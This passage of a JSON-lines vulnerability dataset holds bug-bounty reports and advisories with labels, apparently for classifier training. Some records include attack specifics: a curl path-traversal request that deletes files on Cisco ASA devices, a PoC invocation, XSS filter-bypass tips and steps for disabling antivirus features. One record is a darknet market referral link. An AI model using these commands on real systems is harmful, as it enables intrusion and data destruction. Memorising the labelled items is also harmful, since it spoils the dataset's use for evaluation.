curl_url_cleanup(h);\n+ return CURLE_OUT_OF_MEMORY;\n+ }\n+ uc = curl_url_set(h, CURLUPART_PASSWORD, NULL, 0);\n+ if(uc) {\n+ curl_url_cleanup(h);\n+ return CURLE_OUT_OF_MEMORY;\n+ }\n+ uc = curl_url_get(h, CURLUPART_URL, &url, 0);\n+ if(uc) {\n+ curl_url_cleanup(h);\n+ return CURLE_OUT_OF_MEMORY;\n+ }\n+\n+ curl_url_cleanup(h);\n+\n+ data->change.referer = url;\n if(!data->change.referer)\n return CURLE_OUT_OF_MEMORY;\n data->change.referer_alloc = TRUE; /* yes, free this later */\n```\n\nI'm ready to continue this in a public PR if it seems more fitting.\n\n## Impact\n\nThe best I can think of is if an attacker gets hold of web server logs that includer referrer info with credentials leaked into them. It's a privacy/sensitive info-leak vulnerability at best. Can't readily think of a way to actively exploit this.", "source": "hackerone", "timestamp": "2021-04-30", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "b43dce18f06fef5c8d57", "text": "devolo dLAN 550 duo+ Starter Kit Remote Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2019-02-03", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "9b9cce6299e3e47fc987", "text": "[Array Index Underflow] https://publishers.basicattentiontoken.org/favicon.ico is Vulnerable to CVE-2017-7529\n\nou can verify the vulnerability by executing attached POC.\n\npython CVE_2017_7529.py https://publishers.basicattentiontoken.org/favicon.ico\n\ncommand.\n\nAll details available at\nhttps://nvd.nist.gov/vuln/detail/CVE-2017-7529\nhttps://gist.github.com/thehappydinoa/bc3278aea845b4f578362e9363c51115\n\nPlease do the needful.\n\n## Impact\n\nThe POC demonstrates working exploint.\nIn the exploit function the script 'determines' if the server is vulnerable based on the response. Specifically in determining if the vulnerability exists, the script sends a request with some calculated \"Range\" value, based on the response content. More specifically, it tries to get the byte range from 623 bytes after the full content until the last (very high number) bytes.", "source": "hackerone", "timestamp": "2020-12-16", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "650166b697ce2fdc1f45", "text": "ZKTeco ZKBioSecurity 3.0 User Enumeration Weakness\n\nSeverity: low", "source": "zeroscience", "timestamp": "2016-08-31", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "9ba92922c459202d6af2", "text": "[Privilege Escalation] CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host\n\ndescription here: \nhttps://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html\nPoC: https://github.com/q3k/cve-2019-5736-poc\n\nSome more links:\nhttps://seclists.org/oss-sec/2019/q1/119\nhttps://access.redhat.com/security/cve/cve-2019-5736\n\n## Impact\n\nIt allows to escape from container to root on host when unpatched version of Docker and Kubernetes are used.\nThis affects a pretty big part of internet, since a lot of services are using Docker and Kubernets these days.\nIt has also serious impact on cloud services\nAWS https://aws.amazon.com/security/security-bulletins/AWS-2019-002/ and GCP https://cloud.google.com/kubernetes-engine/docs/security-bulletins#february-11-2019-runc\nhttps://kubernetes.io/blog/2019/02/11/runc-and-cve-2019-5736/", "source": "hackerone", "timestamp": "2019-09-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "48edafa038d75bf597a0", "text": "CyberPower Systems PowerPanel 3.1.2 XXE Out-Of-Band Data Retrieval\n\nSeverity: high", "source": "zeroscience", "timestamp": "2016-07-08", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "5a6afea72ddb5e6406ef", "text": "InfraPower PPS-02-S Q213V1 Cross-Site Request Forgery\n\nSeverity: high", "source": "zeroscience", "timestamp": "2016-10-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "f6509b054067082d16bc", "text": "Teradek Slice 7.3.15 (snapshot.cgi) Stream Disclosure\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2018-05-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "552bd1c5b002b776033c", "text": "[Business Logic Errors] Variant of CVE-2013-0269 (Denial of Service and Unsafe Object Creation Vulnerability in JSON)\n\nDuring my recent keyword argument separation work on `rb_scan_args` in the master branch, I discovered what I now think is a vulnerability.\n\nWhile the CVE-2013-0269 change fixed most usage of `JSON.parse`, it ended up not fixing `Kernel#JSON`. The reason behind this is that internally, in `JSON::Parser#initialize` (in `cParser_initialize` in `ext/json/parser/parser.c`), there is a separate branch taken depending on whether an option hash was provided. The fix for CVE-2013-026 only fixed one of these branches (when a option hash is provided). It did not fix the other branch (when no option hash is provided).\n\n`Kernel#JSON` is able to easily hit the case where no option hash is provided, because it does:\n\n```ruby\n def JSON(object, *args)\n if object.respond_to? :to_str\n JSON.parse(object.to_str, args.first)\n```\n\nIn the common case, no extra arguments are provided, and `args.first` is `nil`. Historically, Ruby has allowed the `rb_scan_args` `:` character to handle a `nil` option hash like no option hash was provided. This is deprecated in the master branch, and a warning is issued, but it is still supported.\n\nI fixed this in the master branch in the `rb_scan_args` commit, as it was needed to avoid the warning:\nhttps://github.com/ruby/ruby/commit/80b5a0ff2a7709367178f29d4ebe1c54122b1c27#diff-59fb0f5411be4c22009691e1a7f5a185 . It was only later, when I was going to report this issue upstream that I realized the security implications.\n\nI believe all previously released versions of Ruby since 1.9 (when JSON was included in stdlib) are vulnerable to this. I think this fix should be backported to Ruby 2.4, 2.5, and 2.6, and another CVE issued.\n\nIn addition to `Kernel#JSON`, there are some other vulnerable calls, though they are likely to be less common.\n\nFull example code:\n\n```ruby\n require 'json'\n\n class A < Struct.new(:a)\n def self.json_create(object)\n new(*object['args'])\n end\n\n def to_json(*args)\n {\n 'json_class' => self.class.name,\n 'args' => [ a ],\n }.to_json(*args)\n end\n end\n\n js = A.new(1).to_json\n p JSON.parse(js) #=> {\"json_class\"=>\"A\", \"args\"=>[1]}\n p JSON(js) #=> #\n\n # Also vulnerable, resulting in #\n p JSON.parse(js, nil)\n p JSON[js, nil]\n p JSON::Parser.new(js).parse\n```\n\n## Impact\n\nThis highly depends on the application using in question. In order to be vulnerable, `Kernel#JSON` or one of the other vulnerable calls must be called with user provided input.\n\nI am not sure this results in denial of service since Ruby 2.2, due to the support of dynamic symbols. However, I have not analyzed the related JSON code to determine if it creates dynamic or static symbols when `create_additions` is used.\n\nAssuming that `Kernel#JSON` is called with user-provided input, this allows creation of arbitrary objects where there is a named class that has a `json_create` singleton method.. More precisely, this allows calling `json_create` methods on any named constant with arbitrary arguments (assuming the constant returns a true value for `json_createable?`). Many Ruby applications use libraries that have objects in constants that support `method_missing` and could possibly be vulnerable. However, I have not done any research into possible exploitability, which is why I listed severity as Medium.\n\nIf any `json/add/*` files have been required, this could possibly be very dangerous, as those can allow the creation of arbitrary core/stdlib objects. For example `json/add/ostruct` being required, when combined with this vulnerability, allows the creation of arbitrary objects that support attacker-defined methods with attacker-defined values of any type supported by JSON. `json/add/regexp` allows the creation of arbitrary Regexps which could easily lead to denial of service, and combined with a vulnerability in the regexp engine (Onigmo), could potentially lead to remote code execution.", "source": "hackerone", "timestamp": "2020-04-23", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "f3d4a9819a54110a4c4f", "text": "Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Remote Root Exploit\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2018-07-17", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "65e882b54f62d3e8fa03", "text": "[Cryptographic Issues - Generic] Directory Listing on grtp.co\n\nHello,\n\nThere's a Directory Listing Vulnerability on grtp.co via this link:\n``` http://grtp.co/v1/ ```\n\nRegards,\nAllan", "source": "hackerone", "timestamp": "2017-08-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "d1176038a9448f8fd2e7", "text": "Dasan Networks GPON ONT WiFi Router H64X Series System Config Download\n\nSeverity: high", "source": "zeroscience", "timestamp": "2017-07-12", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "769329ab871ad63524ce", "text": "[Uncontrolled Resource Consumption] Potential infinite loop in gdImageCreateFromGifCtx!\n\n## Description\n-----\nIt is easy to trigger in web application if the web use GD as its image library.\nFor example, It can be triggered if a website resize the user-uploaded GIF, and **ALL** PHP version are affected!\n　\n## Original bug report\n-----\n- https://bugs.php.net/bug.php?id=75571\n\n　\n## Note\n-----\n- CVE-2018-5711 assigned\n\n　\nThanks :)\n\n## Impact\n\nA malicious GIF can trigger an infinite loop and lead to exhausted the server resource!", "source": "hackerone", "timestamp": "2019-11-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "e887eaca476f2a5a18ac", "text": "[Cross-site Scripting (XSS) - Generic] Stored XSS on new Calling plugin (spreed)\n\nThere's a stored xss vulnerability ....\n\nProof Of Concept :\n===============\n1. Set `name` as an xss payload like `\"x>`.\n{F143238}\n2. Invite people to single call room.\n3. Xss will execute in IE. (It doesn't support CSP)\n{F143237}\n\nImpact :\n========\nAdmin user can be xssed via this method if admin uses browsers like IE.\n\nLet me know if you need help in reproducing", "source": "hackerone", "timestamp": "2016-12-13", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "558dea3473b81b9e88c5", "text": "[Memory Corruption - Generic] Invalid memory access in php_basename function\n\nhttps://bugs.php.net/bug.php?id=73295", "source": "hackerone", "timestamp": "2019-11-12", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "e0cc8713a0ddfa82b7f3", "text": "[Information Disclosure] Sensitive data exposure via https://███████/secure/QueryComponent!Default.jspa - CVE-2020-14179\n\n##Summary:\n\nInformation Disclosure vulnerability in outdated Jira.\n\n##Description:\n\nAffected versions of Atlassian Jira Server and Data Center allow remote, unauthenticated attackers to view custom field names and custom SLA names via an Information Disclosure vulnerability in the /secure/QueryComponent!Default.jspa endpoint.\n\n## Step-by-step Reproduction Instructions\n\n1.Go to\n\n https://███/secure/QueryComponent!Default.jspa to view exposed information in any web browser.\n\n## Product, Version, and Configuration \n\nThe affected versions are before version 8.5.8, and from version 8.6.0 before 8.11.1.\n\n## Suggested Mitigation/Remediation Actions\n\nUpdate affected Jira version according to vendor instructions.\n\n## Impact\n\nUnauthenticated attackers to view custom Jira field names and custom SLA names.", "source": "hackerone", "timestamp": "2021-01-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "d789b89ed3503c0b4b7a", "text": "Serviio PRO 1.8 DLNA Media Streaming Server REST API Arbitrary Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2017-05-03", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "5178ced10696894c8029", "text": "[Command Injection - Generic] Unauthorized command execution in Web protection component of Anti-Virus products family\n\n**Summary**\nWhen no browser extension is installed, arbitrary webpages can take control of the Kaspersky command interface and disable parts of the functionality for example.\n\n**Description**\nWithout a browser extension (e.g. because extension installation not confirmed by user, unsupported like in MS Edge or uninstalled via https://hackerone.com/reports/470519), Kaspersky fall back to injecting its script directly into the webpage. There are provisions to prevent the webpage from discovering the address of these script, which are trivially circumvented by the webpage downloading itself. There are also provisions to inject the script before any webpage scripts can run, so that unmanipulated references to various JavaScript objects can be stored. These provisions can also be circumvented by manipulating the objects and rerunning Kaspersky's script then. As a result, webpages can get full access to Kaspersky's command interface which allows disabling Anti-Banner and Private Browsing functionality for example (either completely or on specific sites), adding URLs to the blocklist and much more. Worse yet: by exposing Kaspersky's internal processing to the web, bugs in this processing code will turn into Remote Code Execution vulnerabilities allowing websites to execute code with the privileges of the SYSTEM user (I haven't explored this possibility further).\n\n**Environment**\n- Scope: Application\n- Product name: Kaspersky Internet Security\n- Product version: 19.0.0.1088\n- OS name and version (incl SP): Windows 10.0.17134\n- Attack type: Command Injection\n- Maximum user privileges needed to reproduce your issue: no privileges\n\n**Steps to reproduce**\nI tested this with Chrome 71, it should work with any other browser as well however.\n\n1. Go to Kaspersky settings and make sure that Anti-Banner and Private Browsing features are turned on.\n2. Download attached `server.py` and `disable_features1.html` to some directory on your computer and run `server.py` (Python 3 required). This is a very rudimentary HTTP server running on http://localhost:5000/, you could use some other web server as well.\n3. Edit the file %WINDIR%\\sysnative\\drivers\\etc\\hosts as administrator and add the following line: `127.0.0.1 www.google.example.com`. Normally, you would just use a subdomain of a domain you own - the host name has to start with \"www.google.\" for Kaspersky's script to be injected there.\n4. Make sure that no Kaspersky browser extension is installed in your browser. If it is, disable the extension and restart the browser.\n5. Go to http://www.google.example.com:5000/disable_features1.html with your browser.\n6. Check Kaspersky settings and note that Anti-Banner and Private Browsing features are now disabled.\n\n## Impact\n\nWebsites gain full control of Kaspersky's command interface and can disable or manipulate its functionality. They can also attack potential vulnerabilities of the avp.exe process running with elevated privileges.", "source": "hackerone", "timestamp": "2019-11-24", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "e69d6c1a8f3e9bf356b6", "text": "QiHang Media Web (QH.aspx) Digital Signage 3.0.9 Cookie User Password Disclosure\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2020-08-13", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "d2452e29ec75f9b4b705", "text": "[Violation of Secure Design Principles] Value of JSESSIONID and XSRF token parameter in cookie remains same before and after login\n\nHere are two same values captured via intercepting the request and the value of JSESSIONID and XSRF remains same before and after login\r\nJSESSIONID=m8u0pm8mjvckm1ya8da4oqlfb0pd34iw38lr; \r\nXSRF-TOKEN=6B025F41D13BC02E9D658409BAC23F84;\r\n\r\nThis could lead to further threats such as session hijacking etc", "source": "hackerone", "timestamp": "2014-05-14", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "e8ffb1af3f730e12e91d", "text": "Native Instruments Service Center 2.2.5 Local Privilege Escalation Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2010-11-20", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "91e2a48e2627d4167a3e", "text": "[Uncontrolled Resource Consumption] OCSP Status Request extension unbounded memory growth (CVE-2016-6304)\n\nA malicious client can send an excessively large OCSP Status Request extension.\nIf that client continually requests renegotiation, sending a large OCSP Status\nRequest extension each time, then there will be unbounded memory growth on the\nserver. This will eventually lead to a Denial Of Service attack through memory\nexhaustion. Servers with a default configuration are vulnerable even if they do\nnot support OCSP. Builds using the \"no-ocsp\" build time option are not affected.", "source": "hackerone", "timestamp": "2017-04-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "38f9aa9796f2e4ee3581", "text": "[Use After Free] Heap Use After Free in unserialize()\n\next/standard/var_unserializer.re in PHP 7.0.x before 7.0.21 and 7.1.x before 7.1.7 is prone to a heap use after free while unserializing untrusted data, related to the zval_get_type function in Zend/zend_types.h. Exploitation of this issue can have an unspecified impact on the integrity of PHP.\n\nThis has been fixed and assigned CVE-2017-12934. The bug report is here: https://bugs.php.net/bug.php?id=74101", "source": "hackerone", "timestamp": "2018-11-27", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "b26f21422bad7bc85f65", "text": "Secure Computing SnapGear Management Console SG560 v3.1.5 Arbitrary File Read/Write\n\nSeverity: high", "source": "zeroscience", "timestamp": "2020-06-04", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "f7797d044ac35ac25375", "text": "[Improper Authentication - Generic] https://██████ vulnerable to CVE-2020-3187 - Unauthenticated arbitrary file deletion in Cisco ASA/FTD\n\nHi @U.S. Dept Of Defense, I found a host which is running on the web services interface of Cisco ASA/FTD and it is vulnerable to CVE-2020-3187 - Unauthenticated arbitrary file deletion in Cisco ASA/FTD. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences. An exploit could allow the attacker to view or delete arbitrary files on the targeted system. When the device is reloaded after the exploitation of this vulnerability, any files that were deleted are restored. The attacker can only view and delete files within the web services file system.\n\n**Proof of Concept:**\n\nNow we know that in CVE-2020-3187 - Unauthenticated arbitrary file deletion in Cisco ASA/FTD. This allow the attacker to view or delete arbitrary files on the targeted system\nIn this we can delete the files. For example the logo file present on the server at can be deleted by the following steps.\n\nThis can be done by sending a curl request as : curl -H \"Cookie: token=../+CSCOU+/csco_logo.gif\" \n\n 1. To delete this just hit the following command on your terminals.\n `curl -H “Cookie: token=../+CSCOU+/csco_logo.gif” https://█████████/+CSCOE+/session_password.html`\n\n If that did not work because sometimes logo.gif/png has permission issues so try this \n\n 2. You can also delete the file \"`/+CSCOE+/blank.html`\" (an empty HTML file), as it might be a problem with the permission of the custom logo file sometimes logo.gif has permission issue so we might not be able to delete but we can delete other files\n\nWarning : This can lead to a denial of service (DOS) on the VPN by deleting the lua source code files from the file system, which will break the WebVPN interface until the device is rebooted.\n\nNow i haven't deleted the logo file because i didn't wanted to cause any damage so i used another method which can help us confirming that target is vulnerable to this without causing damage and for that just check if `/+CSCOE+/session_password.html` endpoint exists, and it gives \"200 OK\" status, then it should be vulnerable because this affected endpoint has been removed from the patched versions.\n\nI sent a curl request to check and it gave 200 ok as shown below:\n`/+CSCOE+/session_password.html -> 200 = Vulnerable`\n`/+CSCOE+/session_password.html -> 404 = Patched`\n\n**Mitigation/Remediation Actions:**\n\nUpgrade the ASA software version per the referenced advisory. This advisory is available at the following link:\n\n\n**Reference:**\n\n\n\n\n\n\n## Impact\n\nHigh - This vulnerability allows the attacker to delete files within the web services file system.", "source": "hackerone", "timestamp": "2020-11-23", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "f776f216b25705aa9b87", "text": "[Cross-Site Request Forgery (CSRF)] CSRF in adding phrase.\n\nCSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing.\r\n\r\nCSRF HTML Code:\r\n\r\n \r\n
\r\n \r\n \r\n \r\n \r\n
\r\n \r\n\r\n\r\nin fact there is a CSRF Token in the form, but i remove that, and i try to submit the request,\r\nand it works perfectly.\r\nname=\"CSRFToken\"", "source": "hackerone", "timestamp": "2014-04-19", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "b0b9424f0a680d6ba0d6", "text": "GeniXCMS v0.0.1 Remote Unauthenticated SQL Injection Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2015-03-10", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "78bcf14771ce6fa1fdb7", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS through multiple inputs in the issue collector on Jira\n\n**Note I put this as Medium because that's what the CVE is. This vulnerability is known and it's classified under CVE-2018-5230. Here's a link to the thread on it by Atlassian: https://jira.atlassian.com/browse/JRASERVER-67289\nDescription\n---------------------\nI noticed when testing that your Jira installation at jira.roblox.com is running on version 7.6.3, which isn't the latest version. When you have something like Jira or Wordpress, having the latest installation is critical because lots of vulnerabilities for previous versions will be disclosed right after the company releases the latest version. That was the case here.\n\nSo I decided that since it was on 7.6.3, I'd check CVEs and see if there were any that effected Jira installations 7.6.3 and newer. After a LOT of scouring (there's tons of CVEs for Jira on older or different platforms) I found CVE-2018-5230, which isn't very helpful but it led me in the direction of the issue collector.\n\nCVE-2018-5230 outlines \"XSS in the issue collector\" but doesn't specify anything, so that was left up to me.\n\nLocations\n---------------------\nAfter some testing in all of the issue collector, I've compiled this list of the reflected XSS locations in it. To make it easier, I've set this up with each having it's own number and explanation on how to use it.\n\nThere's only one filter that I've found for these; when using certain HTML tags like \"src=\" and in JS alerts using alert(\"texthere\"), it appends two backslashes, ex. if you put in this payload: \n```\n\n```\nThe output in the page will be:\n```\n\n```\nHOWEVER I found a bypass to this filter; instead of using double quotes, simply use all single quotes in payloads. For example if you use the payload \n```\n\n```\nThe output will be:\n```\n\n```\n\n1ST AREA\nhttps://jira.roblox.com/issues/?filter=-8 in the \"Updated Date\" section. \nHOW TO EXPLOIT:\n1. Go to the link above\n2. Click the \"Updated Date:\" text area\n3. Put your XSS payload in \"More than [ ] minutes ago\" (15 character payload limit) or in \"In range [ ] to [ ]\" (No length limit, ONLY put the payload in the first box)\n4. Click Update\n5. Payload will run. If it doesn't run chances are you used double quotes somewhere. Only use single quotes!\n\nEach area past this first one uses the exact same method of exploitation and has the same inputs/outputs so I'll just put the links to them\nhttps://jira.roblox.com/issues/?filter=-7\nhttps://jira.roblox.com/issues/?filter=-6\n\n\n\nResolution\n---------------------\nUpdate your JIRA version to 7.6.7 or later, might as well update to the latest version. This should sufficiently patch all of these vulnerabilities.\n\nAdditional Information\n---------------------\nI know this isn't a core Roblox domain but I strongly believe it has the same impact regardless; as you can see from the attachment: \n{F319184} \nThe core Roblox cookies are shared onto this domain, so that's a main factor in why this has equal impact as to if it were on roblox.com.\n\n## Impact\n\nAn attacker could use carefully crafted payloads with simple social engineering to steal Roblox user's accounts. As I've mentioned, the cookies from Roblox's core site are shared with this one as well, and while it may not be a core Roblox site, it's still a *.roblox.com so any suspicions of phishing by the victim could be excused with that reasoning.\n\nAdditionally, with XSS you can use specially designed iframes linked to your own JS content, allowing jacking of cookies and other information from the victim.", "source": "hackerone", "timestamp": "2020-03-24", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "2c530477837f4da797dd", "text": "[Agora] AGORA REFERRAL LINK -----> agorahooawayyfoe.onion/register/xiXSPxxGuu\n\nQuote from: oqwoqwie on November 12 2014 10:55:39 AMagorahooawayyfoe.onion/register/xiXSPxxGuu", "source": "gayanku", "timestamp": "2015-02-10", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "f684d3a47a1f201df0d7", "text": "[Memory Corruption - Generic] Linux kernel: CVE-2017-7308: a signedness issue in AF_PACKET sockets\n\nHi!\n\n[CVE-2017-7308](https://nvd.nist.gov/vuln/detail/CVE-2017-7308) is a vulnerability I found in the Linux kernel caused by a signedness issue in AF_PACKET sockets. It can be exploited to gain kernel code execution from an unprivileged process. The kernel has to be built with CONFIG_PACKET for the vulnerability to be present. A lot of modern distributions enable this option by default.\n\nI initially reported this vulnerability to security@kernel.org following the coordinated disclosure process. As advised by them I've developed a fix for this vulnerability and sent it upstream. The fix was [committed](https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=2b6867c2ce76c596676bec7d2d525af525fdc6e2) on Mar 30, 2017.\n\nI wrote a proof-of-concept exploit for the 4.8.0-41-generic Ubuntu kernel which gains root from an unprivileged user, which can be found [here](https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308). More details about the vulnerability and exploitation can be found [here](https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html).\n\nThe reason I'm reporting this now is that a [similar bug](https://hackerone.com/reports/347282) that I've reported a while ago has recently been triaged and addressed, so it seems that LPE Linux kernel bugs are within the scope of this IBB program.\n\nThanks!\n\n## Impact\n\nThis vulnerability allows a local attacker to elevate privileges to root on a machine with vulnerable Linux kernel version.", "source": "hackerone", "timestamp": "2019-09-11", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "6e141c30e4123efe3fd6", "text": "Constructr CMS 3.03 Multiple Remote Vulnerabilities (XSS/SQLi)\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-03-11", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "6a93af194ca03ca1fe89", "text": "[Silk Road 2] Acoustic Attack on 4096 RSA keys - full key extraction\n\n[Announce] [security fix] GnuPG 1.4.16 releasedWerner Koch wk at gnupg.orgWed Dec 18 15:05:38 CET 2013Hello!Along with the publication of an interesting new side channel attack byDaniel Genkin Adi Shamir and Eran Tromer we announce the availabilityof a new stable GnuPG release to relieve this bug: Version 1.4.16.This is a *security fix* release and all users of GnuPG versions 1.x areadvised to updated to this version.   GnuPG versions 2.x are notaffected.  See below for the impact of the problem. The GNU Privacy Guard (GnuPG) is GNU's tool for secure communicationand data storage.  It is a complete and free replacement of PGP andcan be used to encrypt data and to create digital signatures.  Itincludes an advanced key management facility smartcard support and iscompliant with the OpenPGP Internet standard as described by RFC-4880.Note that this version is from the GnuPG-1 series and thus smaller thanthose from the GnuPG-2 series easier to build and also better portableto ancient platforms.  In contrast to GnuPG-2 (e.g version 2.0.22) itcomes with no support for S/MIME Secure Shell or other tools usefulfor desktop environments.  Fortunately you may install both versionsalongside on the same system without any conflict.What's New=========== * Fixed the RSA Key Extraction via Low-Bandwidth Acoustic   Cryptanalysis attack as described by Genkin Shamir and Tromer.   See .  [CVE-2013-4576] * Put only the major version number by default into armored output. * Do not create a trustdb file if --trust-model=always is used. * Print the keyid for key packets with --list-packets. * Changed modular exponentiation algorithm to recover from a small   performance loss due to a change in 1.4.14.Impact of the security problem==============================CVE-2013-4576 has been assigned to this security bug.The paper describes two attacks.  The first attack allows to distinguishkeys: An attacker is able to notice which key is currently used fordecryption.  This is in general not a problem but may be used to revealthe information that a message encrypted to a commonly not used keyhas been received by the targeted machine.  We do not have a softwaresolution to mitigate this attack.The second attack is more serious.  It is an adaptive chosen ciphertextattack to reveal the private key.  A possible scenario is that theattacker places a sensor (for example a standard smartphone) in thevicinity of the targeted machine.  That machine is assumed to dounattended RSA decryption of received mails for example by using a mailclient which speeds up browsing by opportunistically decrypting mailsexpected to be read soon.  While listening to the acoustic emanations ofthe targeted machine the smartphone will send new encrypted messages tothat machine and re-construct the private key bit by bit.  A 4096 bitRSA key used on a laptop can be revealed within an hour.GnuPG 1.4.16 avoids this attack by employing RSA blinding duringdecryption.  GnuPG 2.x and current Gpg4win versions make use ofLibgcrypt which employs RSA blinding anyway and are thus not vulnerable.For the highly interesting research on acoustic cryptanalysis and thedetails of the attack see http://www.cs.tau.ac.il/~tromer/acoustic/ .Getting the Software====================First of all decide whether you really need GnuPG version 1.4.x - mostusers are better off with the modern GnuPG 2.0.x version.  Then followthe instructions found at http://www.gnupg.org/download/ or read on:GnuPG 1.4.16 may be downloaded from one of the GnuPG mirror sites ordirect from ftp://ftp.gnupg.org/gcrypt/ .  The list of mirrors can befound at http://www.gnupg.org/mirrors.html .  Note that GnuPG is notavailable at ftp.gnu.org.On the mirrors you should find the following files in the *gnupg*directory:  gnupg-1.4.16.tar.bz2 (3571k)  gnupg-1.4.16.tar.bz2.sig      GnuPG source compressed using BZIP2 and OpenPGP signature.  gnupg-1.4.16.tar.gz (4955k)  gnupg-1.4.16.tar.gz.sig      GnuPG source compressed using GZIP and O", "source": "gayanku", "timestamp": "2013-12-19", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "f58a74ad7ca3c629d14a", "text": "Ecessa ShieldLink SL175EHQ 10.7.4 CSRF Add Superuser Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2018-06-24", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "c071cc567dc209871f65", "text": "[OS Command Injection] RCE via ssh:// URIs in multiple VCS\n\nI'd like to submit an RCE issue within Git SVN and Mercurial, the CVEs are:\n\n* CVE-2017-9800 (Subversion)\n* CVE-2017-1000116 (Mercurial (hg))\n* CVE-2017-1000117 (Git)\n\nFurther Info can be found at:\n\nhttp://blog.recurity-labs.com/2017-08-10/scm-vulns\n\nAnd product specific:\n\n* https://public-inbox.org/git/xmqqh8xf482j.fsf@gitster.mtv.corp.google.com/T/#u\n* http://subversion.apache.org/security/CVE-2017-9800-advisory.txt\n* https://about.gitlab.com/2017/08/10/gitlab-9-dot-4-dot-4-released/\n\nI think these issues which all are based on the same flaw could be worth\nan IBB Bounty. However I'd like to point out that we at Recurity Labs\nwould like the bounty being donated to a charity. The to be determined\ncharity will be something in the field of brain aneurysm, this is due to\nthe fact that Felix, the founder of Recurity Labs, currently is\nrecovering from a brain aneurysm.\n\n\nSo, just let us know what you think about this.\n\nCheers,\n\njoern\n\nP.S. I took the CVSS Score from the Subversion Advisory\nthe Redhat advisory states a score of 6.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L) I guess the truth is somewhere in between.", "source": "hackerone", "timestamp": "2017-09-21", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "81510f2201e1d6e2a299", "text": "ZKTeco ZKTime.Net 3.0.1.6 Insecure File Permissions\n\nSeverity: low", "source": "zeroscience", "timestamp": "2016-08-30", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "d4f5c2ff6b3554e6a66b", "text": "[Uncontrolled Resource Consumption] pngcrush double-free/segfault could result in DoS (CVE-2015-7700)\n\nAll versions of pngcrush (pmt.sourceforge.net/pngcrush) prior to version 1.7.87 have a double-free segfault that can be triggered by reading a valid PNG file that contains the sPLT chunk. This bug has been fixed in 1.7.87 by the project maintainer.\n\nPersuading someone to run pngcrush with a valid PNG file that contains the sPLT chunk, or submitting such PNG file remotely to a web-based service that accepts PNG files and processes them with pngcrush, will cause the application to segfault. This can at a minimum cause denial-of-service.\n\n./pngcrush -reduce -brute ps1n0g08.png /dev/null\n\n==56277== Invalid read of size 8\n==56277== at 0x44989E: png_free_data (png.c:542)\n==56277== by 0x412D99: main (pngcrush.c:6061)\n==56277== Address 0x5ac66b0 is 0 bytes after a block of size 32 alloc'd\n==56277== at 0x4C26B3F: malloc (vg_replace_malloc.c:299)\n==56277== by 0x433A23: pngcrush_debug_malloc (pngcrush.c:2294)\n==56277== by 0x478E9E: png_malloc_base (pngmem.c:91)\n==56277== by 0x478E9E: png_malloc_array_checked (pngmem.c:115)\n==56277== by 0x478E9E: png_realloc_array (pngmem.c:145)\n==56277== by 0x4E2A7F: png_set_sPLT (pngset.c:1013)\n==56277== by 0x4C93B2: png_handle_sPLT (pngrutil.c:1746)\n==56277== by 0x47BE1D: png_read_info (pngread.c:222)\n==56277== by 0x40BA8E: main (pngcrush.c:5082)\n==56277== \nPointer 0x5555555555555555 not found\n==56277== Invalid free() / delete / delete[] / realloc()\n==56277== at 0x4C27C59: free (vg_replace_malloc.c:476)\n==56277== by 0x4498A6: png_free_data (png.c:542)\n==56277== by 0x412D99: main 